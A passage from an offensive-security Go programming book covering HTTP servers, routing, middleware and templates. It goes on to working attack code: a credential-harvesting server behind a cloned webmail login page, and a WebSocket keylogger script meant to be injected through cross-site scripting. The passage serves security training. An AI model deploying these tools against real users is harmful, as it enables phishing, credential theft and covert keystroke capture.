a call is made to your handler() function.
A sample run of the code produces output similar to the following:
$ go run main.go nytimes.com docx
0: http://graphics8.nytimes.com/packages/pdf/2012NAIHSAnnualHIVReport041713.docx
2020/12/21 11:53:50 Jonathan V. Iralu Dan Frosch - Microsoft Macintosh Word 2010
1: http://www.nytimes.com/packages/pdf/business/Announcement.docx
2020/12/21 11:53:51 agouser agouser - Microsoft Office Outlook 2007
2: http://www.nytimes.com/packages/pdf/business/DOCXIndictment.docx
2020/12/21 11:53:51 AGO Gonder, Nanci - Microsoft Office Word 2007
3: http://www.nytimes.com/packages/pdf/business/BrownIndictment.docx
2020/12/21 11:53:51 AGO Gonder, Nanci - Microsoft Office Word 2007
4: http://graphics8.nytimes.com/packages/pdf/health/Introduction.docx
2020/12/21 11:53:51 Oberg, Amanda M Karen Barrow - Microsoft Macintosh Word 2010
You can now search for and extract document metadata for all Open
XML files while targeting a specific domain. I encourage you to expand on
this example to include logic to navigate multipage Bing search results, to
include other file types beyond Open XML, and to enhance the code to
concurrently download the identified files.
Summary
This chapter introduced to you fundamental HTTP concepts in Go, which
you used to create usable tools that interacted with remote APIs, as well as
to scrape arbitrary HTML data. In the next chapter, you’ll continue with
the HTTP theme by learning to create servers rather than clients.
前沿信安资讯阵地 公众号:i nf osrc
If you know how to write HTTP servers
from scratch, you can create customized
logic for social engineering, command-and-
control (C2) transports, or APIs and frontends
for your own tools, among other things. Luckily, Go has
a brilliant standard package—net/http—for building
HTTP servers; it’s really all you need to effectively write not only simple
servers, but also complex, full-featured web applications.
In addition to the standard package, you can leverage third-party pack-
ages to speed up development and remove some of the tedious processes,
such as pattern matching. These packages will assist you with routing,
building middleware, validating requests, and other tasks.
In this chapter, you’ll first explore many of the techniques needed to
build HTTP servers using simple applications. Then you’ll deploy these
techniques to create two social engineering applications—a credential-
harvesting server and a keylogging server—and multiplex C2 channels.
4
H T T P SE R V E R S,
RO U T ING, A N D M IDDL E WA R E
前沿信安资讯阵地 公众号:i nf osrc
78 Chapter 4
HTTP Server Basics
In this section, you’ll explore the net/http package and useful third-party
packages by building simple servers, routers, and middleware. We’ll expand
on these basics to cover more nefarious examples later in the chapter.
Building a Simple Server
The code in Listing 4-1 starts a server that handles requests to a single path.
(All the code listings at the root location of / exist under the provided github
repo https://github.com/blackhat-go/bhg/.) The server should locate the name
URL parameter containing a user’s name and respond with a customized
greeting.
package main
import (
"fmt"
"net/http"
)
func hello(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello %s\n", r.URL.Query().Get("name"))
}
func main() {
u http.HandleFunc("/hello", hello)
v http.ListenAndServe(":8000", nil)
}
Listing 4-1: A Hello World server (/ch-4/hello_world /main.go)
This simple example exposes a resource at /hello. The resource grabs
the parameter and echoes its value back to the client. Within the main() func-
tion, http.HandleFunc() u takes two arguments: a string, which is a URL path
pattern you’re instructing your server to look for, and a function, which will
actually handle the request. You could provide the function definition as
an anonymous inline function, if you want. In this example, you pass in the
function named hello() that you defined earlier.
The hello() function handles requests and returns a hello message
to the client. It takes two arguments itself. The first is http.ResponseWriter,
which is used to write responses to the request. The second argument is a
pointer to http.Request, which will allow you to read information from the
incoming request. Note that you aren’t calling your hello() function from
main(). You’re simply telling your HTTP server that any requests for /hello
should be handled by a function named hello().
Under the covers, what does http.HandleFunc() actually do? The Go doc-
umentation will tell you that it places the handler on the DefaultServerMux.
A ServerMux is short for a server multiplexer, which is just a fancy way to say that
the underlying code can handle multiple HTTP requests for patterns and
functions. It does this using goroutines, with one goroutine per incoming
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 79
request. Importing the net/http package creates a ServerMux and attaches it
to that package’s namespace; this is the DefaultServerMux.
The next line is a call to http.ListenAndServe() v, which takes a string and
an http.Handler as arguments. This starts an HTTP server by using the first
argument as the address. In this case, that’s :8000, which means the server
should listen on port 8000 across all interfaces. For the second argument, the
http.Handler, you pass in nil. As a result, the package uses DefaultServerMux as
the underlying handler. Soon, you’ll be implementing your own http.Handler
and will pass that in, but for now you’ll just use the default. You could also use
http.ListenAndServeTLS(), which will start a server using HTTPS and TLS, as
the name describes, but requires additional parameters.
Implementing the http.Handler interface requires a single method:
ServeHTTP(http.ResponseWriter, *http.Request). This is great because it simpli-
fies the creation of your own custom HTTP servers. You’ll find numerous
third-party implementations that extend the net/http functionality to add
features such as middleware, authentication, response encoding, and more.
You can test this server by using curl:
$ curl -i http://localhost:8000/hello?name=alice
HTTP/1.1 200 OK
Date: Sun, 12 Jan 2020 01:18:26 GMT
Content-Length: 12
Content-Type: text/plain; charset=utf-8
Hello alice
Excellent! The server you built reads the name URL parameter and
replies with a greeting.
Building a Simple Router
Next you’ll build a simple router, shown in Listing 4-2, that demonstrates
how to dynamically handle inbound requests by inspecting the URL path.
Depending on whether the URL contains the path /a, /b, or /c, you’ll print
either the message Executing /a, Executing /b, or Executing /c. You’ll print a
404 Not Found error for everything else.
package main
import (
"fmt"
"net/http"
)
u type router struct {
}
v func (r *router) ServeHTTP(w http.ResponseWriter, req *http.Request) {
w switch req.URL.Path {
case "/a":
fmt.Fprint(w, "Executing /a")
前沿信安资讯阵地 公众号:i nf osrc
80 Chapter 4
case "/b":
fmt.Fprint(w, "Executing /b")
case "/c":
fmt.Fprint(w, "Executing /c")
default:
http.Error(w, "404 Not Found", 404)
}
}
func main() {
var r router
x http.ListenAndServe(":8000", &r)
}
Listing 4-2: A simple router (/ch-4/simple_router /main.go)
First, you define a new type named router without any fields u. You’ll
use this to implement the http.Handler interface. To do this, you must define
the ServeHTTP() method v. The method uses a switch statement on the
request’s URL path w, executing different logic depending on the path.
It uses a default 404 Not Found response action. In main(), you create a
new router and pass its respective pointer to http.ListenAndServe() x.
Let’s take this for a spin in the ole terminal:
$ curl http://localhost:8000/a
Executing /a
$ curl http://localhost:8000/d
404 Not Found
Everything works as expected; the program returns the message Executing
/a for a URL that contains the /a path, and it returns a 404 response on a
path that doesn’t exist. This is a trivial example. The third-party routers
that you’ll use will have much more complex logic, but this should give you
a basic idea of how they work.
Building Simple Middleware
Now let’s build middleware, which is a sort of wrapper that will execute on all
incoming requests regardless of the destination function. In the example in
Listing 4-3, you’ll create a logger that displays the request’s processing start
and stop time.
Package main
import (
"fmt"
"log"
"net/http"
"time"
)
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 81
u type logger struct {
Inner http.Handler
}
v func (l *logger) ServeHTTP(w http.ResponseWriter, r *http.Request) {
log.Println("start")
w l.Inner.ServeHTTP(w, r)
log.Println("finish")
}
func hello(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, "Hello\n")
}
func main() {
x f := http.HandlerFunc(hello)
y l := logger{Inner: f}
z http.ListenAndServe(":8000", &l)
}
Listing 4-3: Simple middleware (/ch-4/simple _middleware /main.go)
What you’re essentially doing is creating an outer handler that, on
every request, logs some information on the server and calls your hello()
function. You wrap this logging logic around your function.
As with the routing example, you define a new type named logger, but
this time you have a field, Inner, which is an http.Handler itself u. In your
ServeHTTP() definition v, you use log() to print the start and finish times of
the request, calling the inner handler’s ServeHTTP() method in between w.
To the client, the request will finish inside the inner handler. Inside main(),
you use http.HandlerFunc() to create an http.Handler out of a function x. You
create the logger, setting Inner to your newly created handler y. Finally, you
start the server by using a pointer to a logger instance z.
Running this and issuing a request outputs two messages containing
the start and finish times of the request:
$ go build -o simple_middleware
$ ./simple_middleware
2020/01/16 06:23:14 start
2020/01/16 06:23:14 finish
In the following sections, we’ll dig deeper into middleware and routing
and use some of our favorite third-party packages, which let you create more
dynamic routes and execute middleware inside a chain. We’ll also discuss
some use cases for middleware that move into more complex scenarios.
Routing with the gorilla/mux Package
As shown in Listing 4-2, you can use routing to match a request’s path to
a function. But you can also use it to match other properties—such as the
HTTP verb or host header—to a function. Several third-party routers are
前沿信安资讯阵地 公众号:i nf osrc
82 Chapter 4
available in the Go ecosystem. Here, we’ll introduce you to one of them: the
gorilla/mux package. But just as with everything, we encourage you to expand
your knowledge by researching additional packages as you encounter them.
The gorilla/mux package is a mature, third-party routing package that
allows you to route based on both simple and complex patterns. It includes
regular expressions, parameter matching, verb matching, and sub routing,
among other features.
Let’s go over a few examples of how you might use the router. There is
no need to run these, as you’ll be using them in a real program soon, but
please feel free to play around and experiment.
Before you can use gorilla/mux, you must go get it:
$ go get github.com/gorilla/mux
Now, you can start routing. Create your router by using mux.NewRouter():
r := mux.NewRouter()
The returned type implements http.Handler but has a host of other
associated methods as well. The one you’ll use most often is HandleFunc().
For example, if you wanted to define a new route to handle GET requests
to the pattern /foo, you could use this:
r.HandleFunc("/foo", func(w http.ResponseWriter, req *http.Request) {
fmt.Fprint(w, "hi foo")
}).Methods("GET")u
Now, because of the call to Methods() u, only GET requests will match
this route. All other methods will return a 404 response. You can chain
other qualifiers on top of this, such as Host(string), which matches a partic-
ular host header value. For example, the following will match only requests
whose host header is set to www.foo.com:
r.HandleFunc("/foo", func(w http.ResponseWriter, req *http.Request) {
fmt.Fprint(w, "hi foo")
}).Methods("GET").Host("www.foo.com")
Sometimes it’s helpful to match and pass in parameters within the
request path (for example, when implementing a RESTful API). This is
simple with gorilla/mux. The following will print out anything following
/users/ in the request’s path:
r.HandleFunc("/users/{user}", func(w http.ResponseWriter, req *http.Request) {
user := mux.Vars(req)["user"]
fmt.Fprintf(w, "hi %s\n", user)
}).Methods("GET")
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 83
In the path definition, you use braces to define a request parameter.
Think of this as a named placeholder. Then, inside the handler function,
you call mux.Vars(), passing it the request object, which returns a map[string]
string—a map of request parameter names to their respective values. You
provide the named placeholder user as the key. So, a request to /users/bob
should produce a greeting for Bob:
$ curl http://localhost:8000/users/bob
hi bob
You can take this a step further and use a regular expression to qualify
the patterns passed. For example, you can specify that the user parameter
must be lowercase letters:
r.HandleFunc("/users/{user:[a-z]+}", func(w http.ResponseWriter, req *http.Request) {
user := mux.Vars(req)["user"]
fmt.Fprintf(w, "hi %s\n", user)
}).Methods("GET")
Any requests that don’t match this pattern will now return a 404 response:
$ curl -i http://localhost:8000/users/bob1
HTTP/1.1 404 Not Found
In the next section, we’ll expand on routing to include some middle-
ware implementations using other libraries. This will give you increased
flexibility with handling HTTP requests.
Building Middleware with Negroni
The simple middleware we showed earlier logged the start and end times of
the handling of the request and returned the response. Middleware doesn’t
have to operate on every incoming request, but most of the time that will
be the case. There are many reasons to use middleware, including logging
requests, authenticating and authorizing users, and mapping resources.
For example, you could write middleware for performing basic authenti-
cation. It could parse an authorization header for each request, validate the
username and password provided, and return a 401 response if the creden-
tials are invalid. You could also chain multiple middleware functions together
in such a way that after one is executed, the next one defined is run.
For the logging middleware you created earlier in this chapter, you
wrapped only a single function. In practice, this is not very useful, because
you’ll want to use more than one, and to do this, you must have logic that
can execute them in a chain, one after another. Writing this from scratch
is not incredibly difficult, but let’s not re-create the wheel. Here, you’ll use
a mature package that is already able to do this: negroni.
The negroni package, which you can find at https://github.com/urfave
/negroni/, is great because it doesn’t tie you into a larger framework. You
can easily bolt it onto other frameworks, and it provides a lot of flexibility.
前沿信安资讯阵地 公众号:i nf osrc
84 Chapter 4
It also comes with default middleware that is useful for many applications.
Before you hop in, you need to go get negroni:
$ go get github.com/urfave/negroni
While you technically could use negroni for all application logic, doing
this is far from ideal because it’s purpose-built to act as middleware and
doesn’t include a router. Instead, it’s best to use negroni in combination with
another package, such as gorilla/mux or net/http. Let’s use gorilla/mux to
build a program that will get you acquainted with negroni and allow you to
visualize the order of operations as they traverse the middleware chain.
Start by creating a new file called main.go within a directory namespace,
such as github.com/blackhat-go/bhg/ch-4/negroni _example/. (This namespace
will already be created in the event you cloned the BHG Github repository.)
Now modify your main.go file to include the following code.
package main
import (
"net/http"
"github.com/gorilla/mux"
"github.com/urfave/negroni"
)
func main() {
u r := mux.NewRouter()
v n := negroni.Classic()
w n.UseHandler(r)
http.ListenAndServe(":8000", n)
}
Listing 4-4: Negroni example (/ch-4/negroni _example /main.go)
First, you create a router as you did earlier in this chapter by calling
mux.NewRouter() u. Next comes your first interaction with the negroni pack-
age: you make a call to negroni.Classic() v. This creates a new pointer to a
Negroni instance.
There are different ways to do this. You can either use negroni.Classic()
or call negroni.New(). The first, negroni.Classic(), sets up default middleware,
including a request logger, recovery middleware that will intercept and
recover from panics, and middleware that will serve files from the public
folder in the same directory. The negroni.New() function doesn’t create any
default middleware.
Each type of middleware is available in the negroni package. For example,
you can use the recovery package by doing the following:
n.Use(negroni.NewRecovery())
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 85
Next, you add your router to the middleware stack by calling n.Use
Handler(r) w. As you continue to plan and build out your middleware, consider
the order of execution. For example, you’ll want your authentication-
checking middleware to run prior to the handler functions that require
authentication. Any middleware mounted before the router will execute
prior to your handler functions; any middleware mounted after the router
will execute after your handler functions. Order matters. In this case, you
haven’t defined any custom middleware, but you will soon.
Go ahead and build the server you created in Listing 4-4, and then
execute it. Then issue web requests to the server at http://localhost:8000. You
should see the negroni logging middleware print information to stdout, as
shown next. The output shows the timestamp, response code, processing
time, host, and HTTP method:
$ go build -s negroni_example
$ ./negroni_example
[negroni] 2020-01-19T11:49:33-07:00 | 404 | 1.0002ms | localhost:8000 | GET
Having default middleware is great and all, but the real power comes
when you create your own. With negroni, you can use a few methods to
add middleware to the stack. Take a look at the following code. It creates
trivial middleware that prints a message and passes execution to the next
middleware in the chain:
type trivial struct {
}
func (t *trivial) ServeHTTP(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) { u
fmt.Println("Executing trivial middleware")
next(w, r) v
}
This implementation is slightly different from previous examples.
Before, you were implementing the http.Handler interface, which expected
a ServeHTTP() method that accepted two parameters: http.ResponseWriter and
*http.Request. In this new example, instead of the http.Handler interface,
you’re implementing the negroni.Handler interface.
The slight difference is that the negroni.Handler interface expects you to
implement a ServeHTTP() method that accepts not two, but three, parameters:
http.ResponseWriter, *http.Request, and http.HandlerFunc u. The http.HandlerFunc
parameter represents the next middleware function in the chain. For your
purposes, you name it next. You do your processing within ServeHTTP(), and
then call next() v, passing it the http.ResponseWriter and *http.Request values
you originally received. This effectively transfers execution down the chain.
But you still have to tell negroni to use your implementation as part of
the middleware chain. You can do this by calling negroni’s Use method and
passing an instance of your negroni.Handler implementation to it:
n.Use(&trivial{})
前沿信安资讯阵地 公众号:i nf osrc
86 Chapter 4
Writing your middleware by using this method is convenient because you
can easily pass execution to the next middleware. There is one drawback:
anything you write must use negroni. For example, if you were writing a mid-
dleware package that writes security headers to a response, you would want
it to implement http.Handler, so you could use it in other application stacks,
since most stacks won’t expect a negroni.Handler. The point is, regardless of
your middleware’s purpose, compatibility issues may arise when trying to use
negroni middleware in a non-negroni stack, and vice versa.
There are two other ways to tell negroni to use your middleware. UseHandler
(handler http.Handler), which you’re already familiar with, is the first. The
second way is to call UseHandleFunc(handlerFunc func(w http.ResponseWriter,
r *http.Request)). The latter is not something you’ll want to use often, since
it doesn’t let you forgo execution of the next middleware in the chain. For
example, if you were writing middleware to perform authentication, you
would want to return a 401 response and stop execution if any credentials or
session information were invalid; with this method, there’s no way to do that.
Adding Authentication with Negroni
Before moving on, let’s modify our example from the previous section to dem-
onstrate the use of context, which can easily pass variables between functions.
The example in Listing 4-5 uses negroni to add authentication middleware.
package main
import (
"context"
"fmt"
"net/http"
"github.com/gorilla/mux"
"github.com/urfave/negroni"
)
type badAuth struct { u
Username string
Password string
}
func (b *badAuth) ServeHTTP(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) { v
username := r.URL.Query().Get("username") w
password := r.URL.Query().Get("password")
if username != b.Username || password != b.Password {
http.Error(w, "Unauthorized", 401)
return x
}
ctx := context.WithValue(r.Context(), "username", username) y
r = r.WithContext(ctx) z
next(w, r)
}
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 87
func hello(w http.ResponseWriter, r *http.Request) {
username := r.Context().Value("username").(string) {
fmt.Fprintf(w, "Hi %s\n", username)
}
func main() {
r := mux.NewRouter()
r.HandleFunc("/hello", hello).Methods("GET")
n := negroni.Classic()
n.Use(&badAuth{
Username: "admin",
Password: "password",
})
n.UseHandler(r)
http.ListenAndServe(":8000", n)
}
Listing 4-5: Using context in handlers (/ch-4/negroni_example/main.go)
You’ve added new middleware, badAuth, that is going to simulate authen-
tication, purely for demonstration purposes u. This new type has two fields,
Username and Password, and implements negroni.Handler, since it defines the
three-parameter version of the ServeHTTP() method v we discussed previ-
ously. Inside the ServeHTTP() method, you first grab the username and pass-
word from the request w, and then compare them to the fields you have. If
the username and password are incorrect, execution is stopped, and a 401
response is written to the requester.
Notice that you return x before calling next(). This prevents the
remainder of the middleware chain from executing. If the credentials
are correct, you go through a rather verbose routine of adding the user-
name to the request context. You first call context.WithValue() to initialize
the context from the request, setting a variable named username on that
context y. You then make sure the request uses your new context by call-
ing r.WithContext(ctx) z. If you plan on writing web applications with Go,
you’ll want to become familiar with this pattern, as you’ll be using it a lot.
In the hello() function, you get the username from the request context
by using the Context().Value(interface{}) function, which itself returns an
interface{}. Because you know it’s a string, you can use a type assertion
here {. If you can’t guarantee the type, or you can’t guarantee that the
value will exist in the context, use a switch routine for conversion.
Build and execute the code from Listing 4-5 and send a few requests
to the server. Send some with both correct and incorrect credentials. You
should see the following output:
$ curl -i http://localhost:8000/hello
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Thu, 16 Jan 2020 20:41:20 GMT
Content-Length: 13
前沿信安资讯阵地 公众号:i nf osrc
88 Chapter 4
Unauthorized
$ curl -i 'http://localhost:8000/hello?username=admin&password=password'
HTTP/1.1 200 OK
Date: Thu, 16 Jan 2020 20:41:05 GMT
Content-Length: 9
Content-Type: text/plain; charset=utf-8
Hi admin
Making a request without credentials results in your middleware return-
ing a 401 Unauthorized error. Sending the same request with a valid set
of credentials produces a super-secret greeting message accessible only to
authenticated users.
That was an awful lot to digest. Up to this point, your handler functions
have solely used fmt.FPrintf() to write your response to the http.Response
Writer instance. In the next section, you’ll look at a more dynamic way of
returning HTML by using Go’s templating package.
Using Templates to Produce HTML Responses
Templates allow you to dynamically generate content, including HTML,
with variables from Go programs. Many languages have third-party pack-
ages that allow you to generate templates. Go has two templating packages,
text/template and html/template. In this chapter, you’ll use the HTML pack-
age, because it provides the contextual encoding you need.
One of the fantastic things about Go’s package is that it’s contextually
aware: it will encode your variable differently depending on where the vari-
able is placed in the template. For example, if you were to supply a string as
a URL to an href attribute, the string would be URL encoded, but the same
string would be HTML encoded if it rendered within an HTML element.
To create and use templates, you first define your template, which
contains a placeholder to denote the dynamic contextual data to render.
Its syntax should look familiar to readers who have used Jinja with Python.
When you render the template, you pass to it a variable that’ll be used as
this context. The variable can be a complex structure with several fields,
or it can be a primitive variable.
Let’s work through a sample, shown in Listing 4-6, that creates a simple
template and populates a placeholder with JavaScript. This is a contrived
example that shows how to dynamically populate content returned to the
browser.
package main
import (
"html/template"
"os"
)
u var x = `
<html>
<body>
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 89
v Hello {{.}}
</body>
</html>
`
func main() {
w t, err := template.New("hello").Parse(x)
if err != nil {
panic(err)
}
x t.Execute(os.Stdout, "<script>alert('world')</script>")
}
Listing 4-6: HTML templating (/ch-4/template _example /main.go)
The first thing you do is create a variable, named x, to store your
HTML template u. Here you’re using a string embedded in your code to
define your template, but most of the time you’ll want to store your tem-
plates as separate files. Notice that the template is nothing more than a
simple HTML page. Inside the template, you define placeholders by using
the {{variable-name}} convention, where variable-name is the data element
within your contextual data that you’ll want to render v. Recall that this
can be a struct or another primitive. In this case, you’re using a single
period, which tells the package that you want to render the entire context
here. Since you’ll be working with a single string, this is fine, but if you
had a larger and more complex data structure, such as a struct, you could
get only the fields you want by calling past this period. For example, if you
passed a struct with a Username field to the template, you could render the
field by using {{.Username}}.
Next, in your main() function, you create a new template by calling
template .New(string) w. Then you call Parse(string) to ensure that the tem-
plate is properly formatted and to parse it. Together, these two functions
return a new pointer to a Template.
While this example uses only a single template, it’s possible to embed
templates in other templates. When using multiple templates, it’s impor-
tant that you name them in order to be able to call them. Finally, you call
Execute(io.Writer, interface{}) x, which processes the template by using
the variable passed as the second argument and writes it to the provided
io.Writer. For demonstration purposes, you’ll use os.Stdout. The second
variable you pass into the Execute() method is the context that’ll be used
for rendering the template.
Running this produces HTML, and you should notice that the script
tags and other nefarious characters that were provided as part of your con-
text are properly encoded. Neat-o!
$ go build -o template_example
$ ./template_example
<html>
<body>
Hello <script>alert('world')</script>
前沿信安资讯阵地 公众号:i nf osrc
90 Chapter 4
</body>
</html>
We could say a lot more about templates. You can use logical operators
with them; you can use them with loops and other control structures. You can
call built-in functions, and you can even define and expose arbitrary helper
functions to greatly expand the templating capabilities. Double neat-o! We
recommend you dive in and research these possibilities. They’re beyond the
scope of this book, but are powerful.
How about you step away from the basics of creating servers and handling
requests and instead focus on something more nefarious. Let’s create a
credential harvester!
Credential Harvesting
One of the staples of social engineering is the credential-harvesting attack.
This type of attack captures users’ login information to specific websites by
getting them to enter their credentials in a cloned version of the original
site. The attack is useful against organizations that expose a single-factor
authentication interface to the internet. Once you have a user’s credentials,
you can use them to access their account on the actual site. This often leads
to an initial breach of the organization’s perimeter network.
Go provides a great platform for this type of attack, because it’s quick
to stand up new servers, and because it makes it easy to configure routing
and to parse user-supplied input. You could add many customizations and
features to a credential-harvesting server, but for this example, let’s stick to
the basics.
To begin, you need to clone a site that has a login form. There are a
lot of possibilities here. In practice, you’d probably want to clone a site in
use by the target. For this example, though, you’ll clone a Roundcube site.
Roundcube is an open source webmail client that’s not used as often as com-
mercial software, such as Microsoft Exchange, but will allow us to illustrate
the concepts just as well. You’ll use Docker to run Roundcube, because it
makes the process easier.
You can start a Roundcube server of your own by executing the fol-
lowing. If you don’t want to run a Roundcube server, then no worries; the
exercise source code has a clone of the site. Still, we’re including this for
completeness:
$ docker run --rm -it -p 127.0.0.180:80 robbertkl/roundcube
The command starts a Roundcube Docker instance. If you navigate
to http://127.0.0.1:80, you’ll be presented with a login form. Normally,
you’d use wget to clone a site and all its requisite files, but Roundcube has
JavaScript awesomeness that prevents this from working. Instead, you’ll use
Google Chrome to save it. In the exercise folder, you should see a directory
structure that looks like Listing 4-7.
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 91
$ tree
.
+-- main.go
+-- public
+-- index.html
+-- index_files
+-- app.js
+-- common.js
+-- jquery-ui-1.10.4.custom.css
+-- jquery-ui-1.10.4.custom.min.js
+-- jquery.min.js
+-- jstz.min.js
+-- roundcube_logo.png
+-- styles.css
+-- ui.js
index.html
Listing 4-7: Directory listing for /ch-4/credential _harvester/
The files in the public directory represent the unaltered cloned login
site. You’ll need to modify the original login form to redirect the entered
credentials, sending them to yourself instead of the legitimate server. To
begin, open public/index.html and find the form element used to POST the
login request. It should look something like the following:
<form name="form" method="post" action="http://127.0.0.1/?_task=login">
You need to modify the action attribute of this tag and point it to your
server. Change action to /login. Don’t forget to save it. The line should now
look like the following:
<form name="form" method="post" action="/login">
To render the login form correctly and capture a username and
password, you’ll first need to serve the files in the public directory. Then
you’ll need to write a HandleFunc for /login to capture the username and
password. You’ll also want to store the captured credentials in a file with
some verbose logging.
You can handle all of this in just a few dozen lines of code. Listing 4-8
shows the program in its entirety.
package main
import (
"net/http"
"os"
"time"
log "github.com/Sirupsen/logrus" u
"github.com/gorilla/mux"
)
前沿信安资讯阵地 公众号:i nf osrc
92 Chapter 4
func login(w http.ResponseWriter, r *http.Request) {
log.WithFields(log.Fields{ v
"time": time.Now().String(),
"username": r.FormValue("_user"), w
"password": r.FormValue("_pass"), x
"user-agent": r.UserAgent(),
"ip_address": r.RemoteAddr,
}).Info("login attempt")
http.Redirect(w, r, "/", 302)
}
func main() {
fh, err := os.OpenFile("credentials.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600) y
if err != nil {
panic(err)
}
defer fh.Close()
log.SetOutput(fh) z
r := mux.NewRouter()
r.HandleFunc("/login", login).Methods("POST") {
r.PathPrefix("/").Handler(http.FileServer(http.Dir("public"))) |
log.Fatal(http.ListenAndServe(":8080", r))
}
Listing 4-8: Credential-harvesting server (/ch-4/credential_harvester/main.go)
The first thing worth noting is you import github.com/Sirupsen/logrus u.
This is a structured logging package that we prefer to use instead of the
standard Go log package. It provides more configurable logging options
for better error handling. To use this package, you’ll need to make sure
you ran go get beforehand.
Next, you define the login() handler function. Hopefully, this pattern
looks familiar. Inside this function, you use log.WithFields() to write out
your captured data v. You display the current time, the user-agent, and IP
address of the requester. You also call FormValue(string) to capture both the
username (_user) w and password (_pass) x values that were submitted. You
get these values from index.html and by locating the form input elements for
each username and password. Your server needs to explicitly align with the
names of the fields as they exist in the login form.
The following snippet, extracted from index.html, shows the relevant
input items, with the element names in bold for clarity:
<td class="input"><input name="_user" id="rcmloginuser" required="required"
size="40" autocapitalize="off" autocomplete="off" type="text"></td>
<td class="input"><input name="_pass" id="rcmloginpwd" required="required"
size="40" autocapitalize="off" autocomplete="off" type="password"></td>
In your main() function, you begin by opening a file that’ll be used to
store your captured data y. Then, you use log.SetOutput(io.Writer), passing
it the file handle you just created, to configure the logging package so that
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 93
it’ll write its output to that file z. Next, you create a new router and mount
the login() handler function {.
Prior to starting the server, you do one more thing that may look unfa-
miliar: you tell your router to serve static files from a directory |. That way,
your Go server explicitly knows where your static files—images, JavaScript,
HTML—live. Go makes this easy, and provides protections against direc-
tory traversal attacks. Starting from the inside out, you use http.Dir(string)
to define the directory from which you wish to serve the files. The result
of this is passed as input to http.FileServer(FileSystem), which creates an
http.Handler for your directory. You’ll mount this to your router by using
PathPrefix(string). Using / as a path prefix will match any request that
hasn’t already found a match. Note that, by default, the handler returned
from FileServer does support directory indexing. This could leak some
information. It’s possible to disable this, but we won’t cover that here.
Finally, as you have before, you start the server. Once you’ve built and
executed the code in Listing 4-8, open your web browser and navigate to
http://localhost:8080. Try submitting a username and password to the form.
Then head back to the terminal, exit the program, and view the credentials.txt
file, shown here:
$ go build -o credential_harvester
$ ./credential_harvester
^C
$ cat credentials.txt
INFO[0038] login attempt
ip_address="127.0.0.1:34040" password="p@ssw0rd1!" time="2020-02-13
21:29:37.048572849 -0800 PST" user-agent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:51.0) Gecko/20100101 Firefox/51.0" username=bob
Look at those logs! You can see that you submitted the username of bob
and the password of p@ssw0rd1!. Your malicious server successfully handled
the form POST request, captured the entered credentials, and saved them
to a file for offline viewing. As an attacker, you could then attempt to use
these credentials against the target organization and proceed with further
compromise.
In the next section, you’ll work through a variation of this credential-
harvesting technique. Instead of waiting for form submission, you’ll create
a keylogger to capture keystrokes in real time.
Keylogging with the WebSocket API
The WebSocket API (WebSockets), a full duplex protocol, has increased in
popularity over the years and many browsers now support it. It provides
a way for web application servers and clients to efficiently communicate
with each other. Most importantly, it allows the server to send messages
to a client without the need for polling.
WebSockets are useful for building “real-time” applications, such
as chat and games, but you can use them for nefarious purposes as well,
前沿信安资讯阵地 公众号:i nf osrc
94 Chapter 4
such as injecting a keylogger into an application to capture every key a
user presses. To begin, imagine you’ve identified an application that is
vulnerable to cross-site scripting (a flaw through which a third party can
run arbitrary JavaScript in a victim’s browser) or you’ve compromised
a web server, allowing you to modify the application source code. Either
scenario should let you include a remote JavaScript file. You’ll build the
server infrastructure to handle a WebSocket connection from a client and
handle incoming keystrokes.
For demonstration purposes, you’ll use JS Bin (http://jsbin.com) to test
your payload. JS Bin is an online playground where developers can test their
HTML and JavaScript code. Navigate to JS Bin in your web browser and
paste the following HTML into the column on the left, completely replac-
ing the default code:
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<script src='http://localhost:8080/k.js'></script>
<form action='/login' method='post'>
<input name='username'/>
<input name='password'/>
<input type="submit"/>
</form>
</body>
</html>
On the right side of the screen, you’ll see the rendered form. As you
may have noticed, you’ve included a script tag with the src attribute set to
http://localhost:8080/k.js. This is going to be the JavaScript code that will
create the WebSocket connection and send user input to the server.
Your server is going to need to do two things: handle the WebSocket
and serve the JavaScript file. First, let’s get the JavaScript out of the way,
since after all, this book is about Go, not JavaScript. (Check out https://
github.com/gopherjs/gopherjs/ for instructions on writing JavaScript with Go.)
The JavaScript code is shown here:
(function() {
var conn = new WebSocket("ws://{{.}}/ws");
document.onkeypress = keypress;
function keypress(evt) {
s = String.fromCharCode(evt.which);
conn.send(s);
}
})();
The JavaScript code handles keypress events. Each time a key is pressed,
the code sends the keystrokes over a WebSocket to a resource at ws://{{.}}/ws.
Recall that the {{.}} value is a Go template placeholder representing the
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 95
current context. This resource represents a WebSocket URL that will
populate the server location information based on a string you’ll pass to
the template. We’ll get to that in a minute. For this example, you’ll save the
JavaScript in a file named logger.js.
But wait, you say, we said we were serving it as k.js! The HTML we
showed previously also explicitly uses k.js. What gives? Well, logger.js is a
Go template, not an actual JavaScript file. You’ll use k.js as your pattern to
match against in your router. When it matches, your server will render the
template stored in the logger.js file, complete with contextual data that rep-
resents the host to which your WebSocket connects. You can see how this
works by looking at the server code, shown in Listing 4-9.
import (
"flag"
"fmt"
"html/template"
"log"
"net/http"
"github.com/gorilla/mux"
u "github.com/gorilla/websocket"
)
var (
v upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
}
listenAddr string
wsAddr string
jsTemplate *template.Template
)
func init() {
flag.StringVar(&listenAddr, "listen-addr", "", "Address to listen on")
